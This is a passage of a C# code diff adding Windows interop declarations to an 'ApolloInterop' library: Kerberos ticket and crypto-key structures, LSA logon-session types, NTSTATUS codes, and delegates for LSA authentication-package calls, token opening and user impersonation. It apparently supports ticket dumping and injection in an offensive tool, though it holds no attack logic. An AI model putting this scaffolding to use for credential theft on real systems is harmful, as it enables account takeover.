public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public LUID LogonId;
public int Flags;
public KERB_CRYPTO_KEY32 Key; // key to decrypt KERB_CRED
public int KerbCredSize;
public int KerbCredOffset;
}
[StructLayout(LayoutKind.Sequential)]
public record struct KERB_PURGE_TKT_CACHE_REQUEST
{
public KERB_PROTOCOL_MESSAGE_TYPE MessageType;
public LUID LogonId;
public UNICODE_STRING ServerName;
public UNICODE_STRING RealmName;
}
public record struct KERB_TICKET_CACHE_INFO_EX
{
public LSA_OUT_STRING ClientName;
public LSA_OUT_STRING ClientRealm;
public LSA_OUT_STRING ServerName;
public LSA_OUT_STRING ServerRealm;
public long StartTime;
public long EndTime;
public long RenewTime;
public int EncryptionType;
public uint TicketFlags;
}
public struct KERB_EXTERNAL_TICKET
{
public HANDLE<KERB_EXTERNAL_NAME> ServiceName;
public HANDLE<KERB_EXTERNAL_NAME> TargetName;
public HANDLE<KERB_EXTERNAL_NAME> ClientName;
public UNICODE_STRING DomainName;
public UNICODE_STRING TargetDomainName;
public UNICODE_STRING AltTargetDomainName;
public KERB_CRYPTO_KEY SessionKey;
public KerbTicketFlags TicketFlags;
public uint Flags;
public long KeyExpirationTime;
public long StartTime;
public long EndTime;
public long RenewUntil;
public long TimeSkew;
public uint EncodedTicketSize;
public HANDLE<UCHAR> EncodedTicket;
}
public struct KERB_EXTERNAL_NAME
{
public short NameType;
public ushort NameCount;
public UNICODE_STRING Names;
}
public struct KERB_CRYPTO_KEY
{
public KERB_CRYPTO_KEY_TYPE KeyType;
public uint Length;
public HANDLE<UCHAR> Value;
}
public struct KERB_CRYPTO_KEY32
{
public int KeyType;
public int Length;
public int Offset;
}
public struct SecHandle
{
public nuint dwLower;
public nuint dwUpper;
}
public struct KERB_INTERACTIVE_LOGON
{
public KERB_LOGON_SUBMIT_TYPE LogonType;
public UNICODE_STRING LogonDomainName;
public UNICODE_STRING UserName;
public UNICODE_STRING Password;
}
public enum KERB_CRYPTO_KEY_TYPE
{
KERB_ETYPE_DES_CBC_CRC = 1,
KERB_ETYPE_DES_CBC_MD4 = 2,
KERB_ETYPE_DES_CBC_MD5 = 3,
KERB_ETYPE_NULL = 0,
KERB_ETYPE_RC4_HMAC_NT = 23,
KERB_ETYPE_RC4_MD4 = -128,
}
[Flags]
public enum KerbTicketFlags : uint
{
Forwardable = 0x40000000,
Forwarded = 0x20000000,
HwAuthent = 0x00100000,
Initial = 0x00400000,
Invalid = 0x01000000,
MayPostDate = 0x04000000,
OkAsDelegate = 0x00040000,
PostDated = 0x02000000,
PreAuthent = 0x00200000,
Proxiable = 0x10000000,
Proxy = 0x08000000,
Renewable = 0x00800000,
Reserved = 0x80000000,
Reserved1 = 0x00000001,
NameCanonicalize = 0x10000
}
public enum KERB_PROTOCOL_MESSAGE_TYPE
{
KerbDebugRequestMessage = 0,
KerbQueryTicketCacheMessage = 1,
KerbChangeMachinePasswordMessage = 2,
KerbVerifyPacMessage = 3,
KerbRetrieveTicketMessage = 4,
KerbUpdateAddressesMessage = 5,
KerbPurgeTicketCacheMessage = 6,
KerbChangePasswordMessage = 7,
KerbRetrieveEncodedTicketMessage = 8,
KerbDecryptDataMessage = 9,
KerbAddBindingCacheEntryMessage = 10,
KerbSetPasswordMessage = 11,
KerbSetPasswordExMessage = 12,
KerbVerifyCredentialsMessage = 13,
KerbQueryTicketCacheExMessage = 14,
KerbPurgeTicketCacheExMessage = 15,
KerbRefreshSmartcardCredentialsMessage = 16,
KerbAddExtraCredentialsMessage = 17,
KerbQuerySupplementalCredentialsMessage = 18,
KerbTransferCredentialsMessage = 19,
KerbQueryTicketCacheEx2Message = 20,
KerbSubmitTicketMessage = 21,
KerbAddExtraCredentialsExMessage = 22,
KerbQueryKdcProxyCacheMessage = 23,
KerbPurgeKdcProxyCacheMessage = 24,
KerbQueryTicketCacheEx3Message = 25,
KerbCleanupMachinePkinitCredsMessage = 26,
KerbAddBindingCacheEntryExMessage = 27,
KerbQueryBindingCacheMessage = 28,
KerbPurgeBindingCacheMessage = 29,
KerbPinKdcMessage = 30,
KerbUnpinAllKdcsMessage = 31,
KerbQueryDomainExtendedPoliciesMessage = 32,
KerbQueryS4U2ProxyCacheMessage = 33,
KerbRetrieveKeyTabMessage = 34,
KerbRefreshPolicyMessage = 35,
KerbPrintCloudKerberosDebugMessage = 36,
}
public enum KERB_LOGON_SUBMIT_TYPE
{
KerbInteractiveLogon = 2,
KerbSmartCardLogon = 6,
KerbWorkstationUnlockLogon = 7,
KerbSmartCardUnlockLogon = 8,
KerbProxyLogon = 9,
KerbTicketLogon = 10,
KerbTicketUnlockLogon = 11,
KerbS4ULogon = 12,
KerbCertificateLogon = 13,
KerbCertificateS4ULogon = 14,
KerbCertificateUnlockLogon = 15,
KerbNoElevationLogon = 83,
KerbLuidLogon = 84
}
public enum KerbEncType
{
des_cbc_crc = 1,
des_cbc_md4 = 2,
des_cbc_md5 = 3,
des3_cbc_md5 = 5,
des3_cbc_sha1 = 7,
dsaWithSHA1_CmsOID = 9,
md5WithRSAEncryption_CmsOID = 10,
sha1WithRSAEncryption_CmsOID = 11,
rc2CBC_EnvOID = 12,
rsaEncryption_EnvOID = 13,
rsaES_OAEP_ENV_OID = 14,
des_ede3_cbc_Env_OID = 15,
des3_cbc_sha1_kd = 16,
aes128_cts_hmac_sha1 = 17,
aes256_cts_hmac_sha1 = 18,
rc4_hmac = 23,
rc4_hmac_exp = 24,
subkey_keymaterial = 65,
old_exp = -135
}
[Flags]
public enum KerbCacheOptions : uint
{
KERB_RETRIEVE_TICKET_DEFAULT = 0U,
KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 1U,
KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 2U,
KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 4U,
KERB_RETRIEVE_TICKET_AS_KERB_CRED = 8U,
KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 16U,
KERB_RETRIEVE_TICKET_CACHE_TICKET = 32U,
KERB_RETRIEVE_TICKET_MAX_LIFETIME = 64U
}
@@ -0,0 +1,30 @@
using System;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public static class APIInteropExt
{
public static APIInteropTypes.HANDLE<T> Increment<T>(this APIInteropTypes.HANDLE<T> handle) where T : notnull
{
IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + IntPtr.Size);
return new APIInteropTypes.HANDLE<T>(updatedHandleAddress);
}
public static APIInteropTypes.HANDLE Increment(this APIInteropTypes.HANDLE handle)
{
IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + IntPtr.Size);
return new APIInteropTypes.HANDLE(updatedHandleAddress);
}
public static APIInteropTypes.HANDLE<T> IncrementBy<T>(this APIInteropTypes.HANDLE<T> handle, int increment) where T : notnull
{
IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + increment);
return new APIInteropTypes.HANDLE<T>(updatedHandleAddress);
}
public static APIInteropTypes.HANDLE IncrementBy(this APIInteropTypes.HANDLE handle, int increment)
{
IntPtr updatedHandleAddress = (IntPtr)(handle.PtrLocation.ToInt64() + increment);
return new APIInteropTypes.HANDLE(updatedHandleAddress);
}
}
@@ -0,0 +1,101 @@
using System;
using System.Runtime.InteropServices;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public class APIInteropTypes
{
/// <summary>
/// A windows NT status code
/// </summary>
public readonly record struct NTSTATUS
{
public readonly Ntstatus Status;
public static readonly NTSTATUS STATUS_SUCCESS = (NTSTATUS)0;
public Severity SeverityCode => (Severity)(((uint)Status & 0xc0000000) >> 30);
public NTSTATUS(int status) => Status = (Ntstatus)status;
public static implicit operator int(NTSTATUS value) => (int)value.Status;
public static explicit operator NTSTATUS(int value) => new(value);
public static implicit operator uint(NTSTATUS value) => (uint)value.Status;
public static explicit operator NTSTATUS(uint value) => new((int)value);
}
/// <summary>
/// A pointer to an object
/// Can be used in P/Invoke calls to pass a pointer to a structure or object
/// </summary>
/// <param name="value"></param>
[StructLayout(LayoutKind.Sequential)]
public readonly record struct HANDLE
{
public readonly IntPtr PtrLocation;
public static HANDLE Null => (HANDLE)IntPtr.Zero;
public bool IsNull => PtrLocation == default;
public static long operator -(HANDLE value1, HANDLE value2) => value1.PtrLocation.ToInt64() - value2.PtrLocation.ToInt64();
public static implicit operator IntPtr(HANDLE value) => value.PtrLocation;
public static explicit operator HANDLE(IntPtr value) => new(value);
public T CastTo<T>() where T : notnull => (T)Marshal.PtrToStructure(PtrLocation, typeof(T));
public HANDLE(IntPtr value) => PtrLocation = value;
}
/// <summary>
/// A version of the handle struct that takes in a generic argument this is used to specify the type of the handle mainly for easier debugging, and readability
/// Note the GetValue method will only work on types that are Structs, classes and are non value types
/// </summary>
/// <param name="value"></param>
/// <typeparam name="T"></typeparam>
[StructLayout(LayoutKind.Sequential)]
public readonly record struct HANDLE<T> where T : notnull
{
//fields & properties
public readonly IntPtr PtrLocation { get; init; }
public static HANDLE<T> Null => (HANDLE<T>)IntPtr.Zero;
public string HandleTypeName => typeof(T).Name;
public bool IsNull => PtrLocation == default;
//methods
public T? GetValue() => (T)Marshal.PtrToStructure(PtrLocation, typeof(T));
public static long operator -(HANDLE<T> value1, HANDLE<T> value2) => value1.PtrLocation.ToInt64() - value2.PtrLocation.ToInt64();
public static implicit operator IntPtr(HANDLE<T> value) => value.PtrLocation;
public static explicit operator HANDLE<T>(IntPtr value) => new(value);
public static implicit operator HANDLE(HANDLE<T> value) => new(value.PtrLocation);
public static explicit operator HANDLE<T>(HANDLE value) => new(value.PtrLocation);
//constructors
public HANDLE(IntPtr value) => PtrLocation = value;
public HANDLE(T value)
{
PtrLocation = Marshal.AllocHGlobal(Marshal.SizeOf(value));
Marshal.StructureToPtr(value, PtrLocation, false);
}
}
public readonly record struct UCHAR
{
public readonly byte Value;
public static implicit operator byte(UCHAR value) => value.Value;
public static explicit operator UCHAR(byte value) => new(value);
public UCHAR(byte value) => Value = value;
public UCHAR (char value) => Value = (byte)value;
}
}
@@ -0,0 +1,26 @@
using System.Runtime.InteropServices;
using System.Security.Principal;
using ApolloInterop.Enums;
using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes;
using static ApolloInterop.Features.WindowsTypesAndAPIs.LSATypes;
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public class Advapi32APIs
{
public delegate NTSTATUS LsaOpenPolicy(HANDLE<LSA_OUT_STRING> SystemName, HANDLE<OBJECT_ATTRIBUTES> ObjectAttributes, ACCESS_MASK DesiredAccess, out HANDLE PolicyHandle);
public delegate bool GetTokenInformation(HANDLE tokenHandle, Win32.TokenInformationClass tokenInformationClass, HANDLE tokenInformation, int tokenInformationLength, out int returnLength);
public delegate uint LsaNtStatusToWinError(NTSTATUS status);
public delegate bool OpenProcessToken(HANDLE ProcessHandle, TokenAccessLevels DesiredAccess, out HANDLE TokenHandle);
public delegate bool ImpersonateLoggedOnUser(HANDLE TokenHandle);
public delegate bool AllocateLocallyUniqueId(out LUID luid);
public delegate bool LogonUserA(HANDLE lpszUsername, HANDLE lpszDomain, HANDLE lpszPassword, Win32.LogonType dwLogonType, Win32.LogonProvider dwLogonProvider, out HANDLE phToken);
public delegate bool LogonUserW(
[MarshalAs(UnmanagedType.LPWStr)] string lpszUsername,
[MarshalAs(UnmanagedType.LPWStr)] string lpszDomain,
[MarshalAs(UnmanagedType.LPWStr)] string lpszPassword,
Win32.LogonType dwLogonType,
Win32.LogonProvider dwLogonProvider,
out HANDLE phToken);
}
@@ -0,0 +1,9 @@
using ApolloInterop.Enums;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public class Kernel32APIs
{
public delegate APIInteropTypes.HANDLE OpenProcess(Win32.ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId);
public delegate bool CloseHandle(APIInteropTypes.HANDLE hObject);
}
@@ -0,0 +1,100 @@
using System;
using System.Text;
using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes;
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public static class LSATypes
{
public struct LSA_AUTH_INFORMATION
{
long LastUpdateTime;
uint AuthType;
uint AuthInfoLength;
HANDLE AuthInfo;
}
public record struct LSA_OUT_STRING
{
public ushort Length;
public ushort MaximumLength;
public HANDLE<char> Buffer;
public override string ToString()
{
//the handle is a pointer to only the first character of the string we want to return
//we must read each following byte for the length of the string to get the full string
StringBuilder sb = new();
HANDLE<char> currentCharHandle = Buffer;
//read each character from the buffer
for (int i = 0; i < Length; i++)
{
char returnedChar = currentCharHandle.GetValue();
//if the character is a separator or control char, we don't want to include it in the string
if(Char.IsSeparator(returnedChar) is false && Char.IsControl(returnedChar) is false)
{
sb.Append(returnedChar);
}
//move the pointer to the next character
currentCharHandle = currentCharHandle.IncrementBy(1);
}
string result = sb.ToString();
return result;
}
public LSA_OUT_STRING(string str)
{
Length = (ushort)str.Length;
MaximumLength = (ushort)(str.Length + 1);
Buffer = new(str.ToCharArray()[0]);
}
}
public record struct LSA_IN_STRING
{
public ushort Length;
public ushort MaximumLength;
public string Buffer;
public LSA_IN_STRING(string str)
{
Length = (ushort)str.Length;
MaximumLength = (ushort)(str.Length + 1);
Buffer = str;
}
}
/// <summary>
/// Data provided by lsa after a call to LsaGetLogonSessionData
/// Make sure to convert this to a LogonSessionData object before accessing its properties to avoid issues
/// </summary>
public record struct SECURITY_LOGON_SESSION_DATA
{
public uint Size;
public LUID LogonId;
public LSA_OUT_STRING UserName;
public LSA_OUT_STRING LogonDomain;
public LSA_OUT_STRING AuthenticationPackage;
public uint LogonType;
public uint Session;
public HANDLE Sid;
public long LogonTime;
public LSA_OUT_STRING LogonServer;
public LSA_OUT_STRING DnsDomainName;
public LSA_OUT_STRING Upn;
}
public struct QUOTA_LIMITS
{
public uint PagedPoolLimit;
public uint NonPagedPoolLimit;
public uint MinimumWorkingSetSize;
public uint MaximumWorkingSetSize;
public uint PagefileLimit;
public long TimeLimit;
}
}
@@ -0,0 +1,361 @@
global using Ntstatus = uint;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
/// <summary>
/// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
/// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html
/// </summary>
public enum Ntstatus : uint
{
// Success
Success = 0x00000000,
Wait0 = 0x00000000,
Wait1 = 0x00000001,
Wait2 = 0x00000002,
Wait3 = 0x00000003,
Wait63 = 0x0000003f,
Abandoned = 0x00000080,
AbandonedWait0 = 0x00000080,
AbandonedWait1 = 0x00000081,
AbandonedWait2 = 0x00000082,
AbandonedWait3 = 0x00000083,
AbandonedWait63 = 0x000000bf,
UserApc = 0x000000c0,
KernelApc = 0x00000100,
Alerted = 0x00000101,
Timeout = 0x00000102,
Pending = 0x00000103,
Reparse = 0x00000104,
MoreEntries = 0x00000105,
NotAllAssigned = 0x00000106,
SomeNotMapped = 0x00000107,
OpLockBreakInProgress = 0x00000108,
VolumeMounted = 0x00000109,
RxActCommitted = 0x0000010a,
NotifyCleanup = 0x0000010b,
NotifyEnumDir = 0x0000010c,
NoQuotasForAccount = 0x0000010d,
PrimaryTransportConnectFailed = 0x0000010e,
PageFaultTransition = 0x00000110,
PageFaultDemandZero = 0x00000111,
PageFaultCopyOnWrite = 0x00000112,
PageFaultGuardPage = 0x00000113,
PageFaultPagingFile = 0x00000114,
CrashDump = 0x00000116,
ReparseObject = 0x00000118,
NothingToTerminate = 0x00000122,
ProcessNotInJob = 0x00000123,
ProcessInJob = 0x00000124,
ProcessCloned = 0x00000129,
FileLockedWithOnlyReaders = 0x0000012a,
FileLockedWithWriters = 0x0000012b,
// Informational
Informational = 0x40000000,
ObjectNameExists = 0x40000000,
ThreadWasSuspended = 0x40000001,
WorkingSetLimitRange = 0x40000002,
ImageNotAtBase = 0x40000003,
RegistryRecovered = 0x40000009,
// Warning
Warning = 0x80000000,
GuardPageViolation = 0x80000001,
DatatypeMisalignment = 0x80000002,
Breakpoint = 0x80000003,
SingleStep = 0x80000004,
BufferOverflow = 0x80000005,
NoMoreFiles = 0x80000006,
HandlesClosed = 0x8000000a,
PartialCopy = 0x8000000d,
DeviceBusy = 0x80000011,
InvalidEaName = 0x80000013,
EaListInconsistent = 0x80000014,
NoMoreEntries = 0x8000001a,
LongJump = 0x80000026,
DllMightBeInsecure = 0x8000002b,
// Error
Error = 0xc0000000,
Unsuccessful = 0xc0000001,
NotImplemented = 0xc0000002,
InvalidInfoClass = 0xc0000003,
InfoLengthMismatch = 0xc0000004,
AccessViolation = 0xc0000005,
InPageError = 0xc0000006,
PagefileQuota = 0xc0000007,
InvalidHandle = 0xc0000008,
BadInitialStack = 0xc0000009,
BadInitialPc = 0xc000000a,
InvalidCid = 0xc000000b,
TimerNotCanceled = 0xc000000c,
InvalidParameter = 0xc000000d,
NoSuchDevice = 0xc000000e,
NoSuchFile = 0xc000000f,
InvalidDeviceRequest = 0xc0000010,
EndOfFile = 0xc0000011,
WrongVolume = 0xc0000012,
NoMediaInDevice = 0xc0000013,
NoMemory = 0xc0000017,
ConflictingAddresses = 0xc0000018,
NotMappedView = 0xc0000019,
UnableToFreeVm = 0xc000001a,
UnableToDeleteSection = 0xc000001b,
IllegalInstruction = 0xc000001d,
AlreadyCommitted = 0xc0000021,
AccessDenied = 0xc0000022,
BufferTooSmall = 0xc0000023,
ObjectTypeMismatch = 0xc0000024,
NonContinuableException = 0xc0000025,
BadStack = 0xc0000028,
NotLocked = 0xc000002a,
NotCommitted = 0xc000002d,
InvalidParameterMix = 0xc0000030,
ObjectNameInvalid = 0xc0000033,
ObjectNameNotFound = 0xc0000034,
ObjectNameCollision = 0xc0000035,
ObjectPathInvalid = 0xc0000039,
ObjectPathNotFound = 0xc000003a,
ObjectPathSyntaxBad = 0xc000003b,
DataOverrun = 0xc000003c,
DataLate = 0xc000003d,
DataError = 0xc000003e,
CrcError = 0xc000003f,
SectionTooBig = 0xc0000040,
PortConnectionRefused = 0xc0000041,
InvalidPortHandle = 0xc0000042,
SharingViolation = 0xc0000043,
QuotaExceeded = 0xc0000044,
InvalidPageProtection = 0xc0000045,
MutantNotOwned = 0xc0000046,
SemaphoreLimitExceeded = 0xc0000047,
PortAlreadySet = 0xc0000048,
SectionNotImage = 0xc0000049,
SuspendCountExceeded = 0xc000004a,
ThreadIsTerminating = 0xc000004b,
BadWorkingSetLimit = 0xc000004c,
IncompatibleFileMap = 0xc000004d,
SectionProtection = 0xc000004e,
EasNotSupported = 0xc000004f,
EaTooLarge = 0xc0000050,
NonExistentEaEntry = 0xc0000051,
NoEasOnFile = 0xc0000052,
EaCorruptError = 0xc0000053,
FileLockConflict = 0xc0000054,
LockNotGranted = 0xc0000055,
DeletePending = 0xc0000056,
CtlFileNotSupported = 0xc0000057,
UnknownRevision = 0xc0000058,
RevisionMismatch = 0xc0000059,
InvalidOwner = 0xc000005a,
InvalidPrimaryGroup = 0xc000005b,
NoImpersonationToken = 0xc000005c,
CantDisableMandatory = 0xc000005d,
NoLogonServers = 0xc000005e,
NoSuchLogonSession = 0xc000005f,
NoSuchPrivilege = 0xc0000060,
PrivilegeNotHeld = 0xc0000061,
InvalidAccountName = 0xc0000062,
UserExists = 0xc0000063,
NoSuchUser = 0xc0000064,
GroupExists = 0xc0000065,
NoSuchGroup = 0xc0000066,
MemberInGroup = 0xc0000067,
MemberNotInGroup = 0xc0000068,
LastAdmin = 0xc0000069,
WrongPassword = 0xc000006a,
IllFormedPassword = 0xc000006b,
PasswordRestriction = 0xc000006c,
LogonFailure = 0xc000006d,
AccountRestriction = 0xc000006e,
InvalidLogonHours = 0xc000006f,
InvalidWorkstation = 0xc0000070,
PasswordExpired = 0xc0000071,
AccountDisabled = 0xc0000072,
NoneMapped = 0xc0000073,
TooManyLuidsRequested = 0xc0000074,
LuidsExhausted = 0xc0000075,
InvalidSubAuthority = 0xc0000076,
InvalidAcl = 0xc0000077,
InvalidSid = 0xc0000078,
InvalidSecurityDescr = 0xc0000079,
ProcedureNotFound = 0xc000007a,
InvalidImageFormat = 0xc000007b,
NoToken = 0xc000007c,
BadInheritanceAcl = 0xc000007d,
RangeNotLocked = 0xc000007e,
DiskFull = 0xc000007f,
ServerDisabled = 0xc0000080,
ServerNotDisabled = 0xc0000081,
TooManyGuidsRequested = 0xc0000082,
GuidsExhausted = 0xc0000083,
InvalidIdAuthority = 0xc0000084,
AgentsExhausted = 0xc0000085,
InvalidVolumeLabel = 0xc0000086,
SectionNotExtended = 0xc0000087,
NotMappedData = 0xc0000088,
ResourceDataNotFound = 0xc0000089,
ResourceTypeNotFound = 0xc000008a,
ResourceNameNotFound = 0xc000008b,
ArrayBoundsExceeded = 0xc000008c,
FloatDenormalOperand = 0xc000008d,
FloatDivideByZero = 0xc000008e,
FloatInexactResult = 0xc000008f,
FloatInvalidOperation = 0xc0000090,
FloatOverflow = 0xc0000091,
FloatStackCheck = 0xc0000092,
FloatUnderflow = 0xc0000093,
IntegerDivideByZero = 0xc0000094,
IntegerOverflow = 0xc0000095,
PrivilegedInstruction = 0xc0000096,
TooManyPagingFiles = 0xc0000097,
FileInvalid = 0xc0000098,
InsufficientResources = 0xc000009a,
InstanceNotAvailable = 0xc00000ab,
PipeNotAvailable = 0xc00000ac,
InvalidPipeState = 0xc00000ad,
PipeBusy = 0xc00000ae,
IllegalFunction = 0xc00000af,
PipeDisconnected = 0xc00000b0,
PipeClosing = 0xc00000b1,
PipeConnected = 0xc00000b2,
PipeListening = 0xc00000b3,
InvalidReadMode = 0xc00000b4,
IoTimeout = 0xc00000b5,
FileForcedClosed = 0xc00000b6,
ProfilingNotStarted = 0xc00000b7,
ProfilingNotStopped = 0xc00000b8,
NotSameDevice = 0xc00000d4,
FileRenamed = 0xc00000d5,
CantWait = 0xc00000d8,
PipeEmpty = 0xc00000d9,
CantTerminateSelf = 0xc00000db,
InternalError = 0xc00000e5,
InvalidParameter1 = 0xc00000ef,
InvalidParameter2 = 0xc00000f0,
InvalidParameter3 = 0xc00000f1,
InvalidParameter4 = 0xc00000f2,
InvalidParameter5 = 0xc00000f3,
InvalidParameter6 = 0xc00000f4,
InvalidParameter7 = 0xc00000f5,
InvalidParameter8 = 0xc00000f6,
InvalidParameter9 = 0xc00000f7,
InvalidParameter10 = 0xc00000f8,
InvalidParameter11 = 0xc00000f9,
InvalidParameter12 = 0xc00000fa,
ProcessIsTerminating = 0xc000010a,
MappedFileSizeZero = 0xc000011e,
TooManyOpenedFiles = 0xc000011f,
Cancelled = 0xc0000120,
CannotDelete = 0xc0000121,
InvalidComputerName = 0xc0000122,
FileDeleted = 0xc0000123,
SpecialAccount = 0xc0000124,
SpecialGroup = 0xc0000125,
SpecialUser = 0xc0000126,
MembersPrimaryGroup = 0xc0000127,
FileClosed = 0xc0000128,
TooManyThreads = 0xc0000129,
ThreadNotInProcess = 0xc000012a,
TokenAlreadyInUse = 0xc000012b,
PagefileQuotaExceeded = 0xc000012c,
CommitmentLimit = 0xc000012d,
InvalidImageLeFormat = 0xc000012e,
InvalidImageNotMz = 0xc000012f,
InvalidImageProtect = 0xc0000130,
InvalidImageWin16 = 0xc0000131,
LogonServer = 0xc0000132,
DifferenceAtDc = 0xc0000133,
SynchronizationRequired = 0xc0000134,
DllNotFound = 0xc0000135,
IoPrivilegeFailed = 0xc0000137,
OrdinalNotFound = 0xc0000138,
EntryPointNotFound = 0xc0000139,
ControlCExit = 0xc000013a,
InvalidAddress = 0xc0000141,
PortNotSet = 0xc0000353,
DebuggerInactive = 0xc0000354,
CallbackBypass = 0xc0000503,
PortClosed = 0xc0000700,
MessageLost = 0xc0000701,
InvalidMessage = 0xc0000702,
RequestCanceled = 0xc0000703,
RecursiveDispatch = 0xc0000704,
LpcReceiveBufferExpected = 0xc0000705,
LpcInvalidConnectionUsage = 0xc0000706,
LpcRequestsNotAllowed = 0xc0000707,
ResourceInUse = 0xc0000708,
ProcessIsProtected = 0xc0000712,
VolumeDirty = 0xc0000806,
FileCheckedOut = 0xc0000901,
CheckOutRequired = 0xc0000902,
BadFileType = 0xc0000903,
FileTooLarge = 0xc0000904,
FormsAuthRequired = 0xc0000905,
VirusInfected = 0xc0000906,
VirusDeleted = 0xc0000907,
TransactionalConflict = 0xc0190001,
InvalidTransaction = 0xc0190002,
TransactionNotActive = 0xc0190003,
TmInitializationFailed = 0xc0190004,
RmNotActive = 0xc0190005,
RmMetadataCorrupt = 0xc0190006,
TransactionNotJoined = 0xc0190007,
DirectoryNotRm = 0xc0190008,
CouldNotResizeLog = 0xc0190009,
TransactionsUnsupportedRemote = 0xc019000a,
LogResizeInvalidSize = 0xc019000b,
RemoteFileVersionMismatch = 0xc019000c,
CrmProtocolAlreadyExists = 0xc019000f,
TransactionPropagationFailed = 0xc0190010,
CrmProtocolNotFound = 0xc0190011,
TransactionSuperiorExists = 0xc0190012,
TransactionRequestNotValid = 0xc0190013,
TransactionNotRequested = 0xc0190014,
TransactionAlreadyAborted = 0xc0190015,
TransactionAlreadyCommitted = 0xc0190016,
TransactionInvalidMarshallBuffer = 0xc0190017,
CurrentTransactionNotValid = 0xc0190018,
LogGrowthFailed = 0xc0190019,
ObjectNoLongerExists = 0xc0190021,
StreamMiniversionNotFound = 0xc0190022,
StreamMiniversionNotValid = 0xc0190023,
MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
CantOpenMiniversionWithModifyIntent = 0xc0190025,
CantCreateMoreStreamMiniversions = 0xc0190026,
HandleNoLongerValid = 0xc0190028,
NoTxfMetadata = 0xc0190029,
LogCorruptionDetected = 0xc0190030,
CantRecoverWithHandleOpen = 0xc0190031,
RmDisconnected = 0xc0190032,
EnlistmentNotSuperior = 0xc0190033,
RecoveryNotNeeded = 0xc0190034,
RmAlreadyStarted = 0xc0190035,
FileIdentityNotPersistent = 0xc0190036,
CantBreakTransactionalDependency = 0xc0190037,
CantCrossRmBoundary = 0xc0190038,
TxfDirNotEmpty = 0xc0190039,
IndoubtTransactionsExist = 0xc019003a,
TmVolatile = 0xc019003b,
RollbackTimerExpired = 0xc019003c,
TxfAttributeCorrupt = 0xc019003d,
EfsNotAllowedInTransaction = 0xc019003e,
TransactionalOpenNotAllowed = 0xc019003f,
TransactedMappingUnsupportedRemote = 0xc0190040,
TxfMetadataAlreadyPresent = 0xc0190041,
TransactionScopeCallbacksNotSet = 0xc0190042,
TransactionRequiredPromotion = 0xc0190043,
CannotExecuteFileInTransaction = 0xc0190044,
TransactionsNotFrozen = 0xc0190045,
MaximumNtStatus = 0xffffffff
}
public enum Severity
{
Success,
Informational,
Warning,
Error,
}
@@ -0,0 +1,6 @@
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public class NtdllAPIs
{
public delegate void RtlMoveMemory(APIInteropTypes.HANDLE dest, APIInteropTypes.HANDLE src, uint count);
}
@@ -0,0 +1,20 @@
using ApolloInterop.Enums;
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public static class Secur32APIs
{
public delegate NTSTATUS LsaConnectUntrusted(out HANDLE lsaHandle);
public delegate NTSTATUS LsaLookupAuthenticationPackage(HANDLE lsaHandle, HANDLE packageName, out uint authPackage);
public delegate NTSTATUS LsaCallAuthenticationPackage(HANDLE lsaHandle, uint authPackage, HANDLE submitBuffer, int submitBufferLength, out HANDLE returnBuffer, out uint returnBufferLength, out NTSTATUS authPackageStatus);
//the SecurityMode argument is discarded following the documentation specifying it should be ignored
public delegate NTSTATUS LsaRegisterLogonProcess(HANDLE logonProcessName, HANDLE lsaHandle, HANDLE _);
public delegate NTSTATUS LsaDeregisterLogonProcess(HANDLE lsaHandle);
public delegate NTSTATUS LsaEnumerateLogonSessions(out uint logonSessionCount, out HANDLE logonSessionList);
public delegate NTSTATUS LsaFreeReturnBuffer(HANDLE buffer);
public delegate NTSTATUS LsaGetLogonSessionData(HANDLE LogonIdHandle, out HANDLE LogonSessionDataHandle);
public delegate NTSTATUS LsaLogonUser(HANDLE lsaHandle, LSATypes.LSA_IN_STRING originName, Win32.LogonType logonType, uint authPackage, HANDLE submitBuffer, uint submitBufferLength, HANDLE localgroups, WinNTTypes.TOKEN_SOURCE sourceContext, out HANDLE profileBuffer, out uint profileBufferLength, out WinNTTypes.LUID logonId, out HANDLE token, out LSATypes.QUOTA_LIMITS quotas, out NTSTATUS subStatus);
}
@@ -0,0 +1,144 @@
using System;
using System.Runtime.InteropServices;
using System.Text;
using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes;
namespace ApolloInterop.Features.WindowsTypesAndAPIs;
public static class WinNTTypes
{
public struct LUID
{
public uint LowPart;
public int HighPart;
public static LUID FromString(string luid)
{
if (String.IsNullOrWhiteSpace(luid))
{
return new LUID();
}
var uintVal = Convert.ToUInt64(luid, 16);
return new LUID
{
LowPart = (uint)(uintVal & 0xffffffffL),
HighPart = (int)(uintVal >> 32)
};
}
public bool IsNull => LowPart == 0 && HighPart == 0;
public override string ToString()
{
var value = ((ulong)HighPart << 32) + LowPart;
return $"0x{value:x}";
}
}
public readonly struct ACCESS_MASK
{
public const uint DELETE = 65536;
public const uint READ_CONTROL = 131072;
public const uint SYNCHRONIZE = 1048576;
public const uint WRITE_DAC = 262144;
public const uint WRITE_OWNER = 524288;
public const uint GENERIC_READ = 2147483648;
public const uint GENERIC_WRITE = 1073741824;
public const uint GENERIC_EXECUTE = 536870912;
public const uint GENERIC_ALL = 268435456;
